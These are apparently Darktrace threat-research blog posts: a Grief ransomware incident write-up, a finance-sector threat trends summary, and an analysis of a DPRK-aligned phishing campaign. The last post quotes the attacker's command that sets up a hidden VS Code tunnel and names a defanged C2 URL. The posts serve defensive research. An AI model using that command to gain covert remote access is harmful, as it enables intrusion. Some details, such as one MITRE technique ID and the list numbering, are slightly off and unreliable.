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May 25, 2022

Understanding Grief Ransomware Attacks

Discover the latest insights on Grief ransomware and how to protect your organization. Stay informed on evolving cybersecurity threats with the cyber experts.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Oakley Cox
Director of Product
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25
May 2022

The Grief ransomware strain, also referred to as PayOrGrief, quickly gained a reputation for disruption in mid-to-late 2021. The gang behind the malware used quadruple-extortion ransomware tactics and targeted a range of victims including municipalities and school districts.

In July 2021, just weeks after the strain was first reported to cyber security teams, Grief successfully targeted Thessaloniki, the second largest city in Greece. Faced with a $20 million ransom demand, the municipality’s security team was forced to shut down all of its websites and public-facing services and launch a full investigation into the breach.

Double act: Grief and DoppelPaymer

From its emergence in May 2021, Grief used novel malware which confounded security tools trained on historical attacks. By July, however, the sophistication and efficiency of the group’s attacks led many to suspect that Grief’s operators had experience beyond their supposed two months of operation.

Grief is now widely reported to be a rebrand of the DoppelPaymer ransomware gang, which ended its operations in May 2021 and was believed to be affiliated with the Russian ransomware gang Evil Corp. After adopting the new moniker, however, Grief regularly blew past traditional security tools, amassing well over $10 million in ransom payments in just four months.

Adaptations and rebrands are common techniques adopted by criminal gangs using the Ransomware-as-a-Service business model. The success of Grief’s rebrand illustrates how rapidly a ransomware group can update its attacks and render them unrecognizable to signature-based tools.

Revealing Grief’s tricks with Cyber AI Analyst

In July 2021, PayOrGrief targeted a European manufacturing company which had Darktrace deployed across its network. Darktrace’s early detection of the attack, along with the real-time visibility into its lifecycle offered by Darktrace’s Cyber AI Analyst, meant that each stage of the attack was clear to see.

Figure 1: Timeline of the PayOrGrief attack

The initial intrusion compromised four devices, which Darktrace detected when these devices connected to rare external IPs and downloaded encoded text files. It is likely that the devices were compromised as the result of a targeted phishing campaign, which are often used in Grief attacks as a way of injecting malware such as Dridex onto devices. If deployed within the targeted organization, Antigena Email would have identified the phishing campaign and halted it, before it reached employee inboxes. In this case, however, the attack continued.

Following the initial compromise, C2 (Command and Control) connections were made over an encrypted channel using invalid SSL certificates. An upload of 50MB of data was made from one of the infected devices to the company’s corporate server, which gave the attackers access to the company’s crown jewels: its most sensitive data. From this privileged position, and with keep-alive beacons in place, the attack was ready for detonation.

Several devices were detected attempting to upload data totaling more than 100 GB to the external file storage platform, Mega, using encrypted HTTPS on port 443. However, the attackers did not receive the total package of data they had expected. The organization had deployed Darktrace’s Autonomous Response to protect its key assets and most sensitive data. The AI recognized the anomalous behavior as a significant deviation from the business’s normal ‘pattern of life’ and autonomously blocked uploads from protected devices, preventing exfiltration wherever it was able to do so.

Figure 2: Data exfiltration from a single device, investigated by Cyber AI Analyst

The attackers then continued to spread through the digital environment. Using ‘Living off the Land’ techniques including RDP and SMB, they performed internal reconnaissance, escalated their privileges and moved laterally to additional digital assets. With access to new admin credentials, just ten hours after the initial C2 communications, the attackers commenced ransomware encryption.

It’s highly possible, therefore, that Grief has targeted Darktrace customers previously and been neutralized too early for the attack to be identified and attributed. In this instance, the organization had deployed Autonomous Response only on certain areas of the network, and we are therefore able to see how the attack progressed on unprotected devices.

Unusual suspects

The Indicators of Compromise (IoCs) for Grief ransomware have now been incorporated by many traditional security tools, but this is a short-term solution, and won’t account for further changes in both threat actor tactics and the digital environments they target. Once the Grief moniker has been exhausted, it is more than likely that another will be adopted in its place.

The AI-driven approach to cyber security tackles threats regardless of when and where they arrive, or what name they arrive under. By focusing on developing its sophisticated understanding of the entire digital estate, Darktrace’s Autonomous Response targets specific anomalies with specific, proportionate responses, even when they are part of entirely novel attacks. And when given the freedom to take action against these threats the moment they’re detected, Autonomous Response can ensure that organizations stay protected even when human teams are unavailable.

Thanks to Darktrace analyst Beverly McCann for her insights on the above threat find.

Technical details

Darktrace model detections

  • Device / Suspicious SMB Scanning Activity
  • Device / New User Agents
  • Anomalous Server Activity / Rare External from Server
  • Compliance / External Windows Communications
  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Connection / Anomalous SSL without SNI to New External
  • Anomalous Connection / Rare External SSL Self-Signed
  • Anomalous Connection / Multiple Connections to New External TCP Port
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Compliance / Remote Management Tool on Server
  • Anomalous Server Activity / Outgoing from Server
  • Anomalous Connection / Multiple HTTP POSTs to Rare Hostname
  • Anomalous Connection / Data Sent to Rare Domain
  • Anomalous Connection / Lots of New Connections
  • Unusual Activity / Unusual File Storage Data Transfer
  • Unusual Activity / Enhanced Unusual External Data Transfer [Enhanced Monitoring]
  • Anomalous Connection / Uncommon 1GiB Outbound
  • Unusual Activity / Unusual External Data to New Ips
  • Anomalous Connection / SMB Enumeration
  • Multiple Device Correlations / Behavioral Change Across Multiple Devices
  • Device / New or Uncommon WMI Activity
  • Unusual Activity / Unusual External Connections
  • Device / ICMP Address Scan
  • Anomalous Connection / Unusual Admin RDP Session
  • Compliance / SMB Version 1 Usage
  • Anomalous Connection / Unusual SMB Version 1
  • Anomalous File / Internal / Additional Extension Appended to SMB File
  • Unusual Activity / Anomalous SMB Move and Write
  • Compromise / Ransomware / Suspicious SMB Activity [Enhanced Monitoring]
  • Anomalous Connection / Suspicious Read Write Ratio and Unusual SMB
  • Anomalous Connection / New or Uncommon Service Control
  • Device / New or Unusual Remote Command Execution
  • User / New Admin Credentials On Client
  • Device / New or Uncommon SMB Named Pipe
  • Device / Multiple Lateral Movement Model Breaches [Enhanced Monitoring]
  • Anomalous Connection / Suspicious Read Write Ratio
  • Device / SMA Lateral Movement
  • Anomalous File / Internal / Unusual Internal EXE File Transfer
  • Anomalous Server Activity / Unusual Unresponsive Server
  • Device / Internet Facing Device with High Priority Alert
  • Multiple Device Correlations / Spreading Unusual SMB Activity
  • Multiple Device Correlations / Multiple Devices Breaching the Same Model

Darktrace Autonomous Response alerts

  • Antigena / Network / Insider Threat / Antigena Network Scan Block
  • Antigena / Network / Insider Threat / Antigena Breaches Over Time Block
  • Antigena / Network / Significant Anomaly / Antigena Significant Anomaly Block
  • Antigena / Network / Significant Anomaly / Antigena Breaches over Time Block
  • Antigena / Network / Insider Threat / Antigena Large Data Volume Outbound Block
  • Antigena / Network / Significant Anomaly / Antigena Enhanced Monitoring from Client Block
  • Antigena / Network / Insider Threat / Antigena SMB Enumeration Block
  • Antigena / Network / Significant Anomaly / Antigena Controlled and Model Breach
  • Antigena / Network / Insider Threat / Antigena Internal Anomalous File Activity
  • Antigena / Network / Significant Anomaly / Antigena Significant Anomaly from Client Block
  • Antigena / Network / External Threat / Antigena Ransomware Block
  • Antigena / Network / External Threat / SMB Ratio Antigena Block

MITRE ATT&CK techniques observed

Reconnaissance
T1595 — Active Scanning

Resource Development
T1608 — Stage Capabilities

Initial Access
T1190 — Exploit Public-Facing Application

Persistence
T1133 — External Remote Services

Defense Evasion
T1079 — Valid Accounts

Discovery
T1046 — Network Service Scanning
T1083 — File and Directory Discovery
T1018 — Remote System Discovery

Lateral Movement
T1210 — Exploitation of Remote Services
T1080 — Taint Shared Content
T1570 — Lateral Tool Transfer
T1021 — Remote Services

Command and Control
T1071 — Application Layer Protocol
T1095 — Non-Application Layer Protocol
T1571 — Non-Standard Port

Exfiltration
T1041 — Exfiltration over C2 Channel
T1567 — Exfiltration Over Web Service
T1029 — Scheduled Transfer


Impact
T1486 — Data Encrypted for Impact
T1489 — Service Stop
T1529 — System Shutdown/Reboot

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Oakley Cox
Director of Product

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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